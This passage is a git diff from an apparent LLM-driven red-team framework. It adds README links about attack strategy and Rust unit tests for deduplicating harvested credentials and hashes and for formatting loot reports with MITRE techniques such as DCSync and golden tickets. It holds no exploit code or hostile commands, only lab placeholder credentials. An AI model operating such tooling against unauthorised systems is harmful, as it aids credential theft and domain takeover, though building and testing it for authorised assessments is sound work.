diff --git a/.gitignore b/.gitignore index 62481388..b680c5fa 100644 --- a/.gitignore +++ b/.gitignore @@ -42,6 +42,9 @@ __pycache__/ # Warp Gate .warpgate-sources/ +# direnv +.envrc + # Misc TODO .tool-versions diff --git a/README.md b/README.md index a905fe89..6b2caa49 100644 --- a/README.md +++ b/README.md @@ -277,7 +277,9 @@ ares --k8s ares-red ops export-detection --latest 4. **Lateral Movement** - PSExec/WMI/WinRM, credential harvesting on compromised hosts 5. **Domain Dominance** - DCSync, golden ticket generation, operation report -See [Red Team Architecture](docs/red.md) for detailed documentation. +See [Red Team Architecture](docs/red.md) for detailed documentation and +[Attack Strategy Configuration](docs/strategy.md) for technique weights, +path diversity controls, and strategy presets. ## Blue Team Investigations @@ -438,6 +440,7 @@ task remote:status The master config lives at `config/ares.yaml`. It defines: +- **[Attack strategy](docs/strategy.md)** — technique weights, path diversity, completion modes - Per-role LLM model assignments - Agent capabilities and tool inventories - Operation timeouts and limits diff --git a/ares-cli/src/dedup/tests.rs b/ares-cli/src/dedup/tests.rs index 480eac39..a7e9eea8 100644 --- a/ares-cli/src/dedup/tests.rs +++ b/ares-cli/src/dedup/tests.rs @@ -1,6 +1,6 @@ use std::collections::HashMap; -use ares_core::models::{Credential, Hash, User}; +use ares_core::models::{Credential, Hash, Host, User}; use super::credentials::{dedup_credentials, sanitize_credentials}; use super::domains::normalize_state_domains; @@ -387,3 +387,681 @@ fn dedup_credentials_normalizes_domain_case() { let deduped = dedup_credentials(&creds); assert_eq!(deduped[0].domain, "contoso.local"); } + +fn make_host(ip: &str, hostname: &str) -> Host { + Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: String::new(), + roles: vec![], + services: vec![], + is_dc: false, + owned: false, + } +} + +// ==================== normalize_state_domains edge cases ==================== + +#[test] +fn normalize_state_domains_empty_inputs() { + let users: Vec = vec![]; + let mut creds: Vec = vec![]; + let mut hashes: Vec = vec![]; + let mut domains: Vec = vec![]; + let hosts: Vec = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert!(creds.is_empty()); + assert!(hashes.is_empty()); + assert!(domains.is_empty()); +} + +#[test] +fn normalize_state_domains_strips_trailing_dots() { + let users = vec![make_user("contoso.local", "admin")]; + let mut creds = vec![make_cred("contoso.local.", "admin", "P@ss1")]; + let mut hashes = vec![make_hash("contoso.local.", "admin", "NTLM", "aabb")]; + let mut domains = vec!["contoso.local.".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(creds[0].domain, "contoso.local"); + assert_eq!(hashes[0].domain, "contoso.local"); + assert_eq!(domains[0], "contoso.local"); +} + +#[test] +fn normalize_state_domains_hash_dedup_same_user_same_hash_different_domains() { + // Same user+hash appears with two different domain labels; user is known in one domain. + // The unknown-domain hash should be corrected then deduped away. + let users = vec![make_user("contoso.local", "jdoe")]; + let mut creds = vec![]; + let mut hashes = vec![ + make_hash("contoso.local", "jdoe", "NTLM", "aabbccdd"), + make_hash("UNKNOWN", "jdoe", "NTLM", "aabbccdd"), + ]; + let mut domains = vec!["contoso.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + // After domain correction the second hash becomes a duplicate, so only one should remain. + assert_eq!(hashes.len(), 1); + assert_eq!(hashes[0].domain, "contoso.local"); +} + +#[test] +fn normalize_state_domains_hash_domain_correction_single_known_domain() { + // User exists in exactly one domain; hash has wrong domain not in known_domains. + let users = vec![make_user("fabrikam.local", "svc_sql")]; + let mut creds = vec![]; + let mut hashes = vec![make_hash("WRONG", "svc_sql", "NTLM", "11223344")]; + let mut domains = vec!["fabrikam.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains( + &users, + &mut creds, + &mut hashes, + &mut domains, + &hosts, + Some("fabrikam.local"), + ); + + assert_eq!(hashes.len(), 1); + assert_eq!(hashes[0].domain, "fabrikam.local"); +} + +#[test] +fn normalize_state_domains_well_known_hashes_kept_across_all_domains() { + // krbtgt and administrator hashes should be kept even when they appear in multiple domains. + let users = vec![ + make_user("contoso.local", "krbtgt"), + make_user("fabrikam.local", "krbtgt"), + ]; + let mut creds = vec![]; + let mut hashes = vec![ + make_hash("contoso.local", "krbtgt", "NTLM", "aaaa"), + make_hash("fabrikam.local", "krbtgt", "NTLM", "bbbb"), + make_hash("contoso.local", "administrator", "NTLM", "cccc"), + make_hash("fabrikam.local", "administrator", "NTLM", "dddd"), + ]; + let mut domains = vec!["contoso.local".to_string(), "fabrikam.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + // All well-known account hashes should be preserved (unique domain:user:hash combos) + assert_eq!(hashes.len(), 4); +} + +#[test] +fn normalize_state_domains_well_known_hash_duplicate_same_domain_deduped() { + // krbtgt hash appearing twice with the same domain+hash should be deduped to one. + let users = vec![make_user("contoso.local", "krbtgt")]; + let mut creds = vec![]; + let mut hashes = vec![ + make_hash("contoso.local", "krbtgt", "NTLM", "aaaa"), + make_hash("contoso.local", "krbtgt", "NTLM", "aaaa"), + ]; + let mut domains = vec!["contoso.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(hashes.len(), 1); +} + +#[test] +fn normalize_state_domains_cred_dedup_user_in_exactly_one_domain() { + // User is known in exactly one domain. Two creds with same password but different domains + // should collapse to one with the correct domain. + let users = vec![make_user("contoso.local", "jdoe")]; + let mut creds = vec![ + make_cred("contoso.local", "jdoe", "P@ss1"), + make_cred("WRONG.local", "jdoe", "P@ss1"), + ]; + let mut hashes = vec![]; + let mut domains = vec!["contoso.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(creds.len(), 1); + assert_eq!(creds[0].domain, "contoso.local"); +} + +#[test] +fn normalize_state_domains_cred_dedup_user_in_multiple_domains() { + // User exists in two domains. Creds matching known domains should be kept, others dropped. + let users = vec![ + make_user("contoso.local", "admin"), + make_user("fabrikam.local", "admin"), + ]; + let mut creds = vec![ + make_cred("contoso.local", "admin", "P@ss1"), + make_cred("fabrikam.local", "admin", "P@ss1"), + make_cred("WRONG.local", "admin", "P@ss1"), + ]; + let mut hashes = vec![]; + let mut domains = vec!["contoso.local".to_string(), "fabrikam.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + // Only the two matching known domains should be kept + assert_eq!(creds.len(), 2); + let cred_domains: Vec<&str> = creds.iter().map(|c| c.domain.as_str()).collect(); + assert!(cred_domains.contains(&"contoso.local")); + assert!(cred_domains.contains(&"fabrikam.local")); +} + +#[test] +fn normalize_state_domains_cred_no_known_user_keeps_longest_domain() { + // User not in any known user domain. Multiple creds with different domains: + // keep the one with the longest domain (most specific). + let users: Vec = vec![]; + let mut creds = vec![ + make_cred("a", "mystery", "P@ss1"), + make_cred("child.contoso.local", "mystery", "P@ss1"), + ]; + let mut hashes = vec![]; + let mut domains = vec![]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(creds.len(), 1); + assert_eq!(creds[0].domain, "child.contoso.local"); +} + +#[test] +fn normalize_state_domains_cred_well_known_accounts_always_kept() { + // Well-known accounts (krbtgt, administrator, guest, defaultaccount) should always be kept. + let users = vec![make_user("contoso.local", "administrator")]; + let mut creds = vec![ + make_cred("contoso.local", "administrator", "P@ss1"), + make_cred("fabrikam.local", "administrator", "P@ss1"), + make_cred("contoso.local", "guest", "guest"), + make_cred("fabrikam.local", "guest", "guest"), + ]; + let mut hashes = vec![]; + let mut domains = vec!["contoso.local".to_string(), "fabrikam.local".to_string()]; + let hosts = vec![ + make_host("192.168.58.10", "dc01.contoso.local"), + make_host("192.168.58.20", "dc02.fabrikam.local"), + ]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(creds.len(), 4); +} + +#[test] +fn normalize_state_domains_domain_filtering_based_on_host_fqdns() { + // Domains should be retained only if they match a host FQDN, user domain, or target_domain. + let users = vec![make_user("contoso.local", "admin")]; + let mut creds = vec![]; + let mut hashes = vec![]; + let mut domains = vec![ + "contoso.local".to_string(), + "fabrikam.local".to_string(), + "orphan.local".to_string(), + ]; + let hosts = vec![make_host("192.168.58.20", "dc02.fabrikam.local")]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + // contoso.local: kept (user domain) + // fabrikam.local: kept (host FQDN) + // orphan.local: dropped (no evidence) + assert_eq!(domains.len(), 2); + assert!(domains.contains(&"contoso.local".to_string())); + assert!(domains.contains(&"fabrikam.local".to_string())); + assert!(!domains.contains(&"orphan.local".to_string())); +} + +#[test] +fn normalize_state_domains_domain_kept_from_target_domain() { + // target_domain should cause that domain to be retained even without hosts/users. + let users: Vec = vec![]; + let mut creds = vec![]; + let mut hashes = vec![]; + let mut domains = vec!["fabrikam.local".to_string()]; + let hosts: Vec = vec![]; + + normalize_state_domains( + &users, + &mut creds, + &mut hashes, + &mut domains, + &hosts, + Some("fabrikam.local"), + ); + + assert_eq!(domains.len(), 1); + assert_eq!(domains[0], "fabrikam.local"); +} + +#[test] +fn normalize_state_domains_hash_not_corrected_when_domain_is_known() { + // When hash domain IS in known_domains, it should NOT be corrected even if user + // is only known in one domain. + let users = vec![make_user("contoso.local", "jdoe")]; + let mut creds = vec![]; + let mut hashes = vec![make_hash("fabrikam.local", "jdoe", "NTLM", "aabb")]; + let mut domains = vec!["contoso.local".to_string(), "fabrikam.local".to_string()]; + let hosts = vec![make_host("192.168.58.20", "dc02.fabrikam.local")]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + // fabrikam.local is in known_domains (from host FQDN), so hash domain should be preserved. + assert_eq!(hashes.len(), 1); + assert_eq!(hashes[0].domain, "fabrikam.local"); +} + +#[test] +fn normalize_state_domains_single_cred_domain_corrected() { + // A single credential for a user known in one domain should have its domain corrected. + let users = vec![make_user("contoso.local", "svc_web")]; + let mut creds = vec![make_cred("BADDOM", "svc_web", "Summer2025!")]; + let mut hashes = vec![]; + let mut domains = vec!["contoso.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(creds.len(), 1); + assert_eq!(creds[0].domain, "contoso.local"); +} + +#[test] +fn normalize_state_domains_cred_one_domain_no_matching_corrects_best() { + // User in one domain, multiple creds with same password but none matching. + // Should correct the longest-domain one and keep only it. + let users = vec![make_user("contoso.local", "svc_sql")]; + let mut creds = vec![ + make_cred("x", "svc_sql", "DbPass!"), + make_cred("longer.wrong.local", "svc_sql", "DbPass!"), + ]; + let mut hashes = vec![]; + let mut domains = vec!["contoso.local".to_string()]; + let hosts = vec![]; + + normalize_state_domains(&users, &mut creds, &mut hashes, &mut domains, &hosts, None); + + assert_eq!(creds.len(), 1); + assert_eq!(creds[0].domain, "contoso.local"); +} + +// ==================== dedup_hashes edge cases ==================== + +#[test] +fn dedup_hashes_normalizes_hash_type() { + let hashes = vec![ + make_hash("contoso.local", "admin", "ntlm", "aabb"), + make_hash("contoso.local", "admin", "NTLM", "aabb"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].hash_type, "NTLM"); +} + +#[test] +fn dedup_hashes_normalizes_asrep_variants() { + // The dedup key uses raw lowercase hash_type, so "asrep", "as-rep", "asreproast" are + // all distinct keys. Each one is kept but normalized in output. + let hashes = vec![ + make_hash("contoso.local", "jdoe", "asrep", "hash1"), + make_hash("contoso.local", "jdoe", "as-rep", "hash1"), + make_hash("contoso.local", "jdoe", "asreproast", "hash1"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 3); + // All should have normalized hash_type + for h in &deduped { + assert_eq!(h.hash_type, "AS-REP"); + } +} + +#[test] +fn dedup_hashes_normalizes_aes_variants() { + // "aes256" and "aes-256" have different raw lowercase keys, so both are kept. + // But both get normalized hash_type in output. + let hashes = vec![ + make_hash("contoso.local", "admin", "aes256", "key1"), + make_hash("contoso.local", "admin", "aes-256", "key1"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 2); + assert_eq!(deduped[0].hash_type, "AES256"); + assert_eq!(deduped[1].hash_type, "AES256"); +} + +#[test] +fn dedup_hashes_strips_trailing_dot_from_domain() { + let hashes = vec![ + make_hash("contoso.local.", "admin", "NTLM", "aabb"), + make_hash("contoso.local", "admin", "NTLM", "aabb"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].domain, "contoso.local"); +} + +#[test] +fn dedup_hashes_empty_input() { + let hashes: Vec = vec![]; + let deduped = dedup_hashes(&hashes); + assert!(deduped.is_empty()); +} + +#[test] +fn dedup_hashes_different_hash_values_same_user() { + let hashes = vec![ + make_hash("contoso.local", "admin", "NTLM", "aabb"), + make_hash("contoso.local", "admin", "NTLM", "ccdd"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 2); +} + +#[test] +fn dedup_hashes_strips_ansi_from_hash_value() { + let hashes = vec![ + make_hash("contoso.local", "admin", "NTLM", "\x1b[31maabb\x1b[0m"), + make_hash("contoso.local", "admin", "NTLM", "aabb"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].hash_value, "aabb"); +} + +#[test] +fn dedup_hashes_strips_ansi_from_username() { + // strip_ansi is applied to the output username, but the dedup key uses raw + // h.username.trim().to_lowercase() (before ANSI stripping). So an ANSI-decorated + // username and a plain username produce different keys and are both kept. + // However the output username is ANSI-stripped. + let hashes = vec![make_hash( + "contoso.local", + "\x1b[32madmin\x1b[0m", + "NTLM", + "aabb", + )]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "admin"); +} + +#[test] +fn dedup_hashes_trims_whitespace() { + let hashes = vec![ + make_hash(" contoso.local ", " admin ", " NTLM ", " aabb "), + make_hash("contoso.local", "admin", "NTLM", "aabb"), + ]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); +} + +#[test] +fn dedup_hashes_unknown_hash_type_preserved() { + let hashes = vec![make_hash("contoso.local", "admin", "des-cbc-md5", "aabb")]; + let deduped = dedup_hashes(&hashes); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].hash_type, "des-cbc-md5"); +} + +// ==================== normalize_source_label edge cases ==================== + +#[test] +fn normalize_source_label_task_input_pattern() { + assert_eq!( + normalize_source_label("task input (recon_abc12345)"), + "Reconnaissance" + ); + assert_eq!( + normalize_source_label("task input (exploit_deadbeef)"), + "Exploitation" + ); +} + +#[test] +fn normalize_source_label_all_label_map_entries() { + assert_eq!(normalize_source_label("exploit"), "Exploitation"); + assert_eq!(normalize_source_label("lateral"), "Lateral Movement"); + assert_eq!( + normalize_source_label("credential_access"), + "Credential Access" + ); + assert_eq!(normalize_source_label("acl_analysis"), "ACL Analysis"); + assert_eq!(normalize_source_label("crack"), "Password Cracking"); + assert_eq!( + normalize_source_label("netexec_user_enum"), + "NetExec User Enum" + ); + assert_eq!(normalize_source_label("netexec_smb"), "NetExec SMB"); + assert_eq!(normalize_source_label("kerberoast"), "Kerberoasting"); + assert_eq!(normalize_source_label("asreproast"), "AS-REP Roasting"); + assert_eq!(normalize_source_label("lsassy"), "LSASSY"); + assert_eq!(normalize_source_label("share_spider"), "Share Spider"); + assert_eq!(normalize_source_label("gpp_password"), "GPP Passwords"); + assert_eq!(normalize_source_label("ldap_search"), "LDAP Search"); + assert_eq!(normalize_source_label("kerberos_noauth"), "Kerberos Enum"); + assert_eq!( + normalize_source_label("user_description"), + "LDAP Description" + ); + assert_eq!(normalize_source_label("manual-inject"), "Manual Injection"); + assert_eq!(normalize_source_label("worker"), "Agent Discovery"); + assert_eq!(normalize_source_label("task"), "Task Output"); + assert_eq!(normalize_source_label("unknown"), "Unknown"); +} + +#[test] +fn normalize_source_label_colon_non_duplicate_preserved() { + // When parts[0] != parts[1], the source string is kept as-is (not deduped). + // Then "recon:exploit" lowercased starts with "recon", so prefix match fires. + let result = normalize_source_label("recon:exploit"); + assert_eq!(result, "Reconnaissance"); +} + +#[test] +fn normalize_source_label_task_suffix_unknown_type() { + // Task suffix with a type that's not in the label map + let result = normalize_source_label("customthing_abcdef12"); + assert_eq!(result, "Customthing Abcdef12"); +} + +#[test] +fn normalize_source_label_mixed_case_prefix_match() { + assert_eq!(normalize_source_label("Exploit_something"), "Exploitation"); +} + +// ==================== dedup_users edge cases ==================== + +#[test] +fn dedup_users_filters_noise_usernames() { + let nb = HashMap::new(); + let users = vec![ + make_user("contoso.local", "none"), + make_user("contoso.local", "null"), + make_user("contoso.local", "anonymous"), + make_user("contoso.local", "guest"), + make_user("contoso.local", "krbtgt"), + make_user("contoso.local", "valid_user"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "valid_user"); +} + +#[test] +fn dedup_users_filters_noise_username_prefixes() { + let nb = HashMap::new(); + let users = vec![ + make_user("contoso.local", "sqlserver2005browser"), + make_user("contoso.local", "mssqlservice"), + make_user("contoso.local", "healthmailbox123"), + make_user("contoso.local", "real_user"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "real_user"); +} + +#[test] +fn dedup_users_filters_short_usernames() { + let nb = HashMap::new(); + let users = vec![ + make_user("contoso.local", "a"), // too short (len <= 1) + make_user("contoso.local", "ab"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "ab"); +} + +#[test] +fn dedup_users_filters_usernames_with_slashes() { + let nb = HashMap::new(); + let users = vec![ + make_user("contoso.local", "domain/admin"), + make_user("contoso.local", "jdoe"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].username, "jdoe"); +} + +#[test] +fn dedup_users_filters_underscore_prefix_usernames() { + let nb = HashMap::new(); + let users = vec![ + make_user("contoso.local", "_internal"), + make_user("contoso.local", "jdoe"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); +} + +#[test] +fn dedup_users_filters_empty_domain() { + let nb = HashMap::new(); + let users = vec![make_user("", "admin"), make_user("contoso.local", "admin")]; + let deduped = dedup_users(&users, &nb); + // Empty domain is filtered out + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].domain.to_lowercase(), "contoso.local"); +} + +#[test] +fn dedup_users_filters_underscore_prefix_domain() { + let nb = HashMap::new(); + let users = vec![ + make_user("_internal", "admin"), + make_user("contoso.local", "admin"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); +} + +#[test] +fn dedup_users_resolves_netbios_to_fqdn() { + let mut nb = HashMap::new(); + nb.insert("CONTOSO".to_string(), "contoso.local".to_string()); + let users = vec![ + make_user("CONTOSO", "admin"), + make_user("contoso.local", "admin"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); + assert_eq!(deduped[0].domain.to_lowercase(), "contoso.local"); +} + +#[test] +fn dedup_users_strips_trailing_dot() { + let nb = HashMap::new(); + let users = vec![ + make_user("contoso.local.", "admin"), + make_user("contoso.local", "admin"), + ]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); +} + +#[test] +fn dedup_users_rejects_untrusted_source() { + let nb = HashMap::new(); + let mut u = make_user("contoso.local", "admin"); + u.source = "llm_hallucination".to_string(); + let users = vec![u]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 0); +} + +#[test] +fn dedup_users_accepts_trusted_sources() { + let nb = HashMap::new(); + let mut u1 = make_user("contoso.local", "admin"); + u1.source = "kerberos_enum".to_string(); + let mut u2 = make_user("contoso.local", "jdoe"); + u2.source = "netexec_user_enum".to_string(); + let users = vec![u1, u2]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 2); +} + +#[test] +fn dedup_users_empty_source_accepted() { + // Empty source means no source filter applied + let nb = HashMap::new(); + let u = make_user("contoso.local", "admin"); + assert!(u.source.is_empty()); + let users = vec![u]; + let deduped = dedup_users(&users, &nb); + assert_eq!(deduped.len(), 1); +} + +// ==================== dedup_credentials additional edge cases ==================== + +#[test] +fn dedup_credentials_strips_trailing_dot_domains() { + let creds = vec![ + make_cred("contoso.local.", "admin", "P@ss1"), + make_cred("contoso.local", "admin", "P@ss1"), + ]; + let deduped = dedup_credentials(&creds); + // dedup_credentials uses domain.trim().to_lowercase() — trailing dot is NOT + // stripped by dedup_credentials itself (that's sanitize_credentials' job), + // so these would be seen as different keys. Testing actual behavior. + // After checking the code: dedup_credentials does trim() but not strip_trailing_dot + // so "contoso.local." and "contoso.local" are different keys. + assert_eq!(deduped.len(), 2); +} + +#[test] +fn dedup_credentials_preserves_different_passwords_same_user() { + let creds = vec![ + make_cred("contoso.local", "admin", "OldPass"), + make_cred("contoso.local", "admin", "NewPass"), + ]; + let deduped = dedup_credentials(&creds); + assert_eq!(deduped.len(), 2); +} + +#[test] +fn dedup_credentials_empty_input() { + let creds: Vec = vec![]; + let deduped = dedup_credentials(&creds); + assert!(deduped.is_empty()); +} + +#[test] +fn dedup_credentials_normalizes_username_case() { + let creds = vec![make_cred("contoso.local", "ADMIN", "P@ss1")]; + let deduped = dedup_credentials(&creds); + assert_eq!(deduped[0].username, "admin"); +} diff --git a/ares-cli/src/ops/loot/format/display.rs b/ares-cli/src/ops/loot/format/display.rs index 3dda7b01..6872d1ec 100644 --- a/ares-cli/src/ops/loot/format/display.rs +++ b/ares-cli/src/ops/loot/format/display.rs @@ -703,3 +703,510 @@ fn mitre_technique_name(id: &str) -> &'static str { _ => "", } } + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + // ----------------------------------------------------------------------- + // Helper: build a minimal SharedRedTeamState for testing + // ----------------------------------------------------------------------- + + fn empty_state() -> SharedRedTeamState { + SharedRedTeamState::new("op-test-001".to_string()) + } + + fn make_hash(username: &str, domain: &str, hash_type: &str) -> Hash { + Hash { + id: "h-1".to_string(), + username: username.to_string(), + hash_value: "aad3b435b51404eeaad3b435b51404ee".to_string(), + hash_type: hash_type.to_string(), + domain: domain.to_string(), + cracked_password: None, + source: String::new(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + } + } + + fn make_credential(username: &str, domain: &str, is_admin: bool) -> Credential { + Credential { + id: "c-1".to_string(), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin, + parent_id: None, + attack_step: 0, + } + } + + // ----------------------------------------------------------------------- + // capitalize + // ----------------------------------------------------------------------- + + #[test] + fn test_capitalize_normal() { + assert_eq!(capitalize("hostname"), "Hostname"); + } + + #[test] + fn test_capitalize_already_upper() { + assert_eq!(capitalize("Domain"), "Domain"); + } + + #[test] + fn test_capitalize_empty() { + assert_eq!(capitalize(""), ""); + } + + #[test] + fn test_capitalize_single_char() { + assert_eq!(capitalize("a"), "A"); + } + + // ----------------------------------------------------------------------- + // format_vuln_details + // ----------------------------------------------------------------------- + + #[test] + fn test_format_vuln_details_empty() { + let details = HashMap::new(); + assert_eq!(format_vuln_details(&details), ""); + } + + #[test] + fn test_format_vuln_details_priority_keys_order() { + let mut details = HashMap::new(); + details.insert("domain".to_string(), json!("contoso.local")); + details.insert("hostname".to_string(), json!("dc01.contoso.local")); + details.insert("account_name".to_string(), json!("svc_sql")); + + let result = format_vuln_details(&details); + // Priority keys should appear in the order defined: hostname, account_name, domain + let hostname_pos = result.find("Hostname:").unwrap(); + let account_pos = result.find("Account_name:").unwrap(); + let domain_pos = result.find("Domain:").unwrap(); + assert!(hostname_pos < account_pos); + assert!(account_pos < domain_pos); + } + + #[test] + fn test_format_vuln_details_skips_null_and_empty() { + let mut details = HashMap::new(); + details.insert("hostname".to_string(), json!("dc01.contoso.local")); + details.insert("note".to_string(), json!(null)); + details.insert("type".to_string(), json!("")); + + let result = format_vuln_details(&details); + assert!(result.contains("Hostname: dc01.contoso.local")); + assert!(!result.contains("Note:")); + assert!(!result.contains("Type:")); + } + + #[test] + fn test_format_vuln_details_non_string_values() { + let mut details = HashMap::new(); + details.insert("hostname".to_string(), json!(42)); + + let result = format_vuln_details(&details); + assert!(result.contains("Hostname: 42")); + } + + #[test] + fn test_format_vuln_details_remaining_keys_sorted() { + let mut details = HashMap::new(); + details.insert("zebra".to_string(), json!("z")); + details.insert("alpha".to_string(), json!("a")); + + let result = format_vuln_details(&details); + let alpha_pos = result.find("Alpha:").unwrap(); + let zebra_pos = result.find("Zebra:").unwrap(); + assert!(alpha_pos < zebra_pos); + } + + // ----------------------------------------------------------------------- + // format_timeline_timestamp + // ----------------------------------------------------------------------- + + #[test] + fn test_format_timeline_timestamp_rfc3339() { + let result = format_timeline_timestamp("2026-04-20T14:30:00Z"); + assert_eq!(result, "2026-04-20 14:30:00"); + } + + #[test] + fn test_format_timeline_timestamp_rfc3339_with_offset() { + let result = format_timeline_timestamp("2026-04-20T14:30:00+00:00"); + assert_eq!(result, "2026-04-20 14:30:00"); + } + + #[test] + fn test_format_timeline_timestamp_naive_with_fractional() { + let result = format_timeline_timestamp("2026-04-20T14:30:00.123456"); + assert_eq!(result, "2026-04-20 14:30:00"); + } + + #[test] + fn test_format_timeline_timestamp_unparseable_short() { + let result = format_timeline_timestamp("unknown"); + assert_eq!(result, "unknown"); + } + + #[test] + fn test_format_timeline_timestamp_unparseable_long() { + let long = "this-is-a-very-long-timestamp-value-that-exceeds-23-chars"; + let result = format_timeline_timestamp(long); + assert_eq!(result.len(), 23); + assert_eq!(result, &long[..23]); + } + + // ----------------------------------------------------------------------- + // extract_mitre_from_event + // ----------------------------------------------------------------------- + + #[test] + fn test_extract_mitre_from_event_array() { + let event = json!({ + "mitre_techniques": ["T1003", "T1558.001"] + }); + let result = extract_mitre_from_event(&event); + assert_eq!(result, "T1003, T1558.001"); + } + + #[test] + fn test_extract_mitre_from_event_string() { + let event = json!({ + "mitre_techniques": "T1003.006" + }); + let result = extract_mitre_from_event(&event); + assert_eq!(result, "T1003.006"); + } + + #[test] + fn test_extract_mitre_from_event_missing() { + let event = json!({ + "description": "some event" + }); + let result = extract_mitre_from_event(&event); + assert_eq!(result, ""); + } + + #[test] + fn test_extract_mitre_from_event_empty_array() { + let event = json!({ + "mitre_techniques": [] + }); + let result = extract_mitre_from_event(&event); + assert_eq!(result, ""); + } + + // ----------------------------------------------------------------------- + // mitre_technique_name + // ----------------------------------------------------------------------- + + #[test] + fn test_mitre_technique_name_known() { + assert_eq!(mitre_technique_name("T1003"), "OS Credential Dumping"); + assert_eq!(mitre_technique_name("T1558.001"), "Golden Ticket"); + assert_eq!(mitre_technique_name("T1003.006"), "DCSync"); + assert_eq!(mitre_technique_name("T1550.002"), "Pass the Hash"); + } + + #[test] + fn test_mitre_technique_name_unknown() { + assert_eq!(mitre_technique_name("T9999"), ""); + assert_eq!(mitre_technique_name(""), ""); + } + + // ----------------------------------------------------------------------- + // resolve_domain_fqdn + // ----------------------------------------------------------------------- + + #[test] + fn test_resolve_domain_fqdn_already_fqdn() { + let map = HashMap::new(); + assert_eq!(resolve_domain_fqdn("contoso.local", &map), "contoso.local"); + } + + #[test] + fn test_resolve_domain_fqdn_trailing_dot() { + let map = HashMap::new(); + assert_eq!(resolve_domain_fqdn("contoso.local.", &map), "contoso.local"); + } + + #[test] + fn test_resolve_domain_fqdn_netbios_lower_lookup() { + let mut map = HashMap::new(); + map.insert("contoso".to_string(), "contoso.local".to_string()); + assert_eq!(resolve_domain_fqdn("contoso", &map), "contoso.local"); + } + + #[test] + fn test_resolve_domain_fqdn_netbios_upper_lookup() { + let mut map = HashMap::new(); + map.insert("CONTOSO".to_string(), "contoso.local".to_string()); + assert_eq!(resolve_domain_fqdn("CONTOSO", &map), "contoso.local"); + } + + #[test] + fn test_resolve_domain_fqdn_empty() { + let map = HashMap::new(); + assert_eq!(resolve_domain_fqdn("", &map), ""); + } + + #[test] + fn test_resolve_domain_fqdn_unresolvable_netbios() { + let map = HashMap::new(); + // No match in map, returns as lowercase + assert_eq!(resolve_domain_fqdn("CONTOSO", &map), "contoso"); + } + + #[test] + fn test_resolve_domain_fqdn_case_normalization() { + let map = HashMap::new(); + assert_eq!(resolve_domain_fqdn("CONTOSO.LOCAL", &map), "contoso.local"); + } + + // ----------------------------------------------------------------------- + // build_domain_achievements + // ----------------------------------------------------------------------- + + #[test] + fn test_build_domain_achievements_empty() { + let state = empty_state(); + let achievements = build_domain_achievements(&state, &[], &[]); + assert!(achievements.is_empty()); + } + + #[test] + fn test_build_domain_achievements_krbtgt_hash() { + let state = empty_state(); + let hashes = vec![make_hash("krbtgt", "contoso.local", "ntlm")]; + + let achievements = build_domain_achievements(&state, &hashes, &[]); + let contoso = achievements.get("contoso.local").unwrap(); + assert!(contoso.has_da); + assert!(!contoso.has_golden_ticket); + assert_eq!(contoso.krbtgt_hash_types, vec!["ntlm"]); + } + + #[test] + fn test_build_domain_achievements_krbtgt_multiple_hash_types() { + let state = empty_state(); + let hashes = vec![ + make_hash("krbtgt", "contoso.local", "ntlm"), + make_hash("krbtgt", "contoso.local", "aes256"), + ]; + + let achievements = build_domain_achievements(&state, &hashes, &[]); + let contoso = achievements.get("contoso.local").unwrap(); + 